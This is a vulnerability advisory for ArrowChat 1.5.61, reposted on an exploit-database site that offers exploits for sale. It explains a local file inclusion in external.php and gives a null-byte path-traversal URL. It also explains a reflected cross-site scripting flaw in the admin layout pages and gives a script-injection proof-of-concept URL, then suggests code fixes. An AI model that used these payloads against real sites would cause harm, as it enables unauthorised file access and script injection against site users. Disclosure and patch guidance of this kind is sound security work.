0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ArrowChat 1.5.61 Cross Site Scripting / Local File Inclusion
[# Exploit Title: ArrowChat <=~ 1.5.61 Multiple vulnerabilities
# Date: 01/01/2013
# Exploit Author: Kallimero
# Vendor Homepage: http://www.sitexcms.org/
# Version: 1.5.61, before, and maybe 1.6
# Tested on: Debian
Introduction
============
ArrowChat is a chat script, which is able to be integrate in various CMS,
as wordpress, or some bulletin boards.
Vulnz
========
1- ) Local File Inclusion
external.php let us load langage, but not a secure way.
---------------[external.php]---------------
// Load another language if lang GET value is set and exists
if (var_check('lang'))
{
$lang = get_var('lang');
if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
{
include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
}
}
---------------[index.php]---------------
Thanks to the nullbyte tricks we'll be able to include any php file, like
that :
http://[site]/[path]/external.php?lang=../path/to/file%00&type=djs
2- ) reflected XSS
The administration layout is accessible for anyone. Even if we can't exec
the php code of the admin, we can inject html thanks to $_SERVER['PHP_SELF']
Example :
-------[admin/layout/pages_general.php]-----
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?do=<?php
echo $do; ?>" enctype="multipart/form-data">
----------------------------------
PoC:
http://
[site]/[path]/admin/layout/pages_general.php/'"/><script>alert(1);</script>
How to Fix ?
============
To fix the LFI, you can replace it with :
// Load another language if lang GET value is set and exists
if (var_check('lang'))
{
$lang = get_var('lang');
if(preg_match("#^[a-z]{2,5}$#i", $lang)){
if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php"))
{
include (dirname(__FILE__) . DIRECTORY_SEPARATOR .
AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .
$lang . ".php");
}
}
}
lang will be include only if it's a valid lang file.
For the XSS's, you can use a .htaccess to protect the layout directory,
and use htmlentities to avoid the html inj'.
Thanks
=========
All hwc members : Necromoine, fr0g, AppleSt0rm, St0rn, Zhyar, k3nz0,
gr4ph0s.
Please visit : http://www.orgasm.re/
# 0day.today [2024-11-15] #